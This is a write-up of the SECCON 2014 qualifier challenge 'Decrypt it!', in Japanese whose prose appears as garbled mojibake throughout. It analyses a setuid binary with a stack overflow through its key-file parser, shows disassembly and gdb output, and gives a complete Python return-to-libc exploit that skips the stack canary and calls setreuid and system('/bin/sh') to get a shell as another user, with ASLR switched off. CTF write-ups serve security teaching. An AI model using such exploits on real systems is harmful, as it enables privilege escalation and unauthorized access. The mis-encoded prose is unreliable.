SECCON 2014 ãªã³ã©ã¤ã³äºé¸ï¼æ¥æ¬èªï¼ Decrypt it! Write-up è£é¢
表ã¯ここã
æå·åããã°ã©ã ã¨æå·åãããã¡ã¤ã«ãä¸ãããã¦ããã¡ã¤ã«ã復å·ããåé¡ãæå·åã®ã³ãã³ãã¯
$ ./crypt 1 pub.txt flag.pdf flag.bin
cryptã«ã¯ãããã¡ã¼ãªã¼ãã¼ããã¼ã®èå¼±æ§ãåå¨ããã®ã§ãæ»æãã¦ã¿ãã
[kusano@www10383uf Decrypt it!]$ ll total 704 -rwsr-xr-x 1 seccon seccon 13956 Aug 3 17:12 crypt -rw-rw-r-- 1 kusano kusano 701103 Aug 3 17:12 flag.pdf
ãã®ç¶æ³ã§ãä¸è¨ã®ã³ãã³ãã§cryptã«ç´°å·¥ããpub.txtã渡ããuid=secconã®ã·ã§ã«ãèµ·åãããã¨ãç®æãã
ç°å¢
cryptã®ã¹ã¿ãã¯ã¯å®è¡ä¸å¯ã§ãSSPï¼ã¹ã¿ãã¯ã¬ã¼ãï¼ããããPIEã¯ç¡å¹ã
[kusano@www10383uf Decrypt it!]$ objdump -p crypt crypt: file format elf32-i386 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00002277 memsz 0x00002277 flags r-x LOAD off 0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**12 filesz 0x000001c0 memsz 0x000001cc flags rw- DYNAMIC off 0x00002ef8 vaddr 0x0804bef8 paddr 0x0804bef8 align 2**2 filesz 0x000000f8 memsz 0x000000f8 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x00001d94 vaddr 0x08049d94 paddr 0x08049d94 align 2**2 filesz 0x000000c4 memsz 0x000000c4 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**0 filesz 0x00000120 memsz 0x00000120 flags r-- ãï¼ [kusano@www10383uf Decrypt it!]$ objdump -d crypt ãï¼ 8049b7d: 8b 94 24 ac 01 00 00 mov 0x1ac(%esp),%edx 8049b84: 65 33 15 14 00 00 00 xor %gs:0x14,%edx 8049b8b: 0f 84 91 00 00 00 je 8049c22 <uncompress@plt+0xe02> 8049b91: e9 87 00 00 00 jmp 8049c1d <uncompress@plt+0xdfd> ãï¼ 8049c1d: e8 5e f1 ff ff call 8048d80 <__stack_chk_fail@plt> 8049c22: 8b 5d fc mov -0x4(%ebp),%ebx 8049c25: c9 leave 8049c26: c3 ret
ASLRã¯ç¡å¹ã«ãããå¾è¿°ããããã«ASLRæå¹ãªç°å¢ä¸ã§ã¯æ»æã§ããªãã£ãã
[kusano@www10383uf Decrypt it!]$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0
ããã°ã©ã ã®è§£æ
crypterã®mainé¢æ°ã¯æ¬¡ã®ãããªå¦çã«ãªã£ã¦ãããstripããã¦ããã®ã§ã¯ã©ã¹åãã¡ã½ããåã¯é©å½ã
// 0x080498b9 int main(int argc, char **argv) { int argc2 = argc; int mode = 0; if (argc<=4) return 1; mode = atoi(argv[1]); int key[16]; int keynum = 0; string str; ifstream stream; stream.open(argv[2]); while (!stream.eof()) { stream >> str; key[keynum++] = atoi(str.c_str()); } f.close(); Crypter crypter; if (mode!=0) { crypter.loadPublicKey(key); string plain(argv[3]); crypter.loadPlain(plain); crypter.encrypt(); crypter.save(argv[4], false); } else { if (crypter.loadPrivateKey(v)!=0) return -1; string cipher(argv[3]); crypter.loadCipher(cipher); crypter.decrypt(); crypter.save(argv[4], true); } return 0; }
ã¹ã¿ãã¯é ç½®ã¯æ¬¡ã®éãã
esp+ 1c argv2 esp+ 20 key esp+ 60 crypter esp+ 7c str esp+ 80 plain esp+ 84 cipher esp+ 88 keynum esp+ 8c mode esp+ 94 stream esp+ 1ac ã«ããªã¢ esp+ 1b0 and $0xfffffff0,%esp ã§ã®ãºã¬ esp+ 1b4 ebx esp+ 1b8 ebp esp+ 1bc return address esp+ 1c0 argc esp+ 1c4 argv
æ»ç¥ã®æ¹é
Return-to-libcã§ã
setreuid(secconã®uid, -1); system("/bin/sh");
ãå®è¡ããã
key以éã®å¤æ°ãä»»æã®å¤ã«æ¸ãæãããã¨ãã§ãããkeynumã®å¤ãé©åã«æ¸ãæãããã¨ã§ãcanaryãé£ã°ãã¦ãreturn addr以éã«å¤ãæ¸ãè¾¼ãããkeyã¨keynumã®éã®å¤æ°ã®ãã¡ãstr以å¤ã¯åæååãªã®ã§ã©ããªå¤ãæ¸ãè¾¼ãã§ãæ§ããªããstrã¯ãããã¡ãæããã¤ã³ã¿ã¨ãªã£ã¦ããã®ã§ãé©åãªå¤ã«ããªãã¨returnåã«ããã°ã©ã ãè½ã¡ã¦ãã¾ããatoiã¯ä½è¨ãªæååããã£ã¦ãç¡è¦ããã®ã§ãsystemã®å¼æ°ã«ä½¿ç¨ããæååã¯æ°åã®å¾ãã«ä»ããã°è¯ãã
æ å ±åé
ã¦ã¼ã¶ã¼secconã®uidãsetreuidã®ã¢ãã¬ã¹ãsystemã®ã¢ãã¬ã¹ãstrã®å¤ãå¿ è¦ã
[kusano@www10383uf Decrypt it!]$ id seccon uid=505(seccon) gid=506(seccon) groups=506(seccon) [kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin ãï¼ (gdb) b *0x8049972 Breakpoint 1 at 0x8049972 (gdb) r Starting program: /home/kusano/seccon/Decrypt it!/crypt 1 pub.txt flag.pdf flag.bin Breakpoint 1, 0x08049972 in ?? () Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6_5.2.i686 libgcc-4.4.7-4.el6.i686 libstdc++-4.4.7-4.el6.i686 zlib-1.2.3-29.el6.i686 (gdb) p setreuid $1 = {<text variable, no debug info>} 0x68fc10 <setreuid> (gdb) p system $2 = {<text variable, no debug info>} 0x5f0210 <system> (gdb) x/x $esp+0x7c 0xffffd55c: 0x0804f184
ããããã505, 0x68fc10, 0x5f0210, 0x0804f184ã
strã®ãã¤ã³ã¿ã¯æååãèªã¿è¾¼ãã¨ãã«ãµã¤ãºã足ããªãã¨å確ä¿ãããã®ã§ãä¸åº¦æååãèªã¿è¾¼ã¾ãã¦ããåå¾ãããã¾ãæ»æããéã«ã¯æåã«é·ãæååãèªã¿è¾¼ã¾ããã¨ãå確ä¿ã«ãã£ã¦ã¢ãã¬ã¹ãå¤ãããã¨ãç¡ããªãã
æ»ç¥
exploit.py
# coding: utf-8 cmd = "/bin/sh" uid = 505 setreuid = 0x0068fc10 system = 0x005f0210 strbuf = 0x0804f184 # 0ã®ç´å¾ã«ã³ãã³ãã®æååãæ¸ãè¾¼ã㨠# 大ããªæ°åãèªã¿è¾¼ãéã«ä¸æ¸ãããã¦ãã¾ãã®ã§ã空ãã pad = 16 print "0" + "_"*(pad-1) + cmd for _ in range((0x7c-0x20)/4-1): print 0 print strbuf for _ in range((0x88-0x80)/4): print 0 # key[keynum]ããªã¿ã¼ã³ã¢ãã¬ã¹ãæãããã«ãã # ç´å¾ã«keynum++ãããã®ã§ã-1 print (0x1bc-0x20)/4-1 print setreuid # pop; pop; ret; # systemãå¼ã³åºãåã«setreuidã®å¼æ°ãã¯ãªã¢ãã print 0x080498b6 print uid print uid print system print 0 print strbuf + pad
[kusano@www10383uf Decrypt it!]$ python exploit.py > pub.txt [kusano@www10383uf Decrypt it!]$ cat pub.txt 0_______________/bin/sh 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 134541700 0 0 102 6880272 134518966 505 505 6226448 0 134541716 [kusano@www10383uf Decrypt it!]$ ./crypt 1 pub.txt flag.pdf flag.bin sh-4.1$ id uid=505(seccon) gid=500(kusano) groups=506(seccon),10(wheel),500(kusano)
ASLR
ã©ãããªããASLRãæå¹ãªç°å¢ä¸ã§æ»ç¥ãããã£ããããªããªãé£ããã
Return-oriented Programmingããããã«ããããã°ã©ã ãçãã®ã§gadgetã足ããªãã
âã®æ»æã³ã¼ãã¯ã¹ã¿ãã¯ä½ç½®ã«ã¯ä¾åãã¦ããããlibcã®ä½ç½®ã¨strã®ãã¼ãä½ç½®ã«ä¾åãã¦ãããlibcã®ä½ç½®ã«ã¤ãã¦ã¯ASLRã«ããã©ã³ãã åãæ¯è¼çå°ããã®ã§è©¦è¡åæ°ãå¢ããã°ããããã ãããã¼ãä½ç½®ãé£ãããstrãæãã¦ãããããã¡ã¯åã«æååãæ ¼ç´ããã ãã§ã¯ãªããstrãæãã¦ããä½ç½®ããåã«æååé·ããããã¡ãµã¤ãºã®æ
å ±ãåå¨ãã¦ããã®ã§ãåã«æ¸ãè¾¼ã¿å¯è½ãªã¢ãã¬ã¹ã§ä¸æ¸ãããã ãã§ã¯ãã¡ã
[kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin ãï¼ (gdb) b *0x8049972 Breakpoint 1 at 0x8049972 (gdb) r ãï¼ (gdb) x/x $esp+0x7c 0xffffd55c: 0x0804f184 (gdb) x/32x 0x0804f140 0x804f140: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f150: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f160: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f170: 0x00000000 0x00000029 0x00000017 0x00000017 0x804f180: 0x00000000 0x5f5f5f30 0x5f5f5f5f 0x5f5f5f5f 0x804f190: 0x5f5f5f5f 0x6e69622f 0x0068732f 0x0001ee69 0x804f1a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f1b0: 0x00000000 0x00000000 0x00000000 0x00000000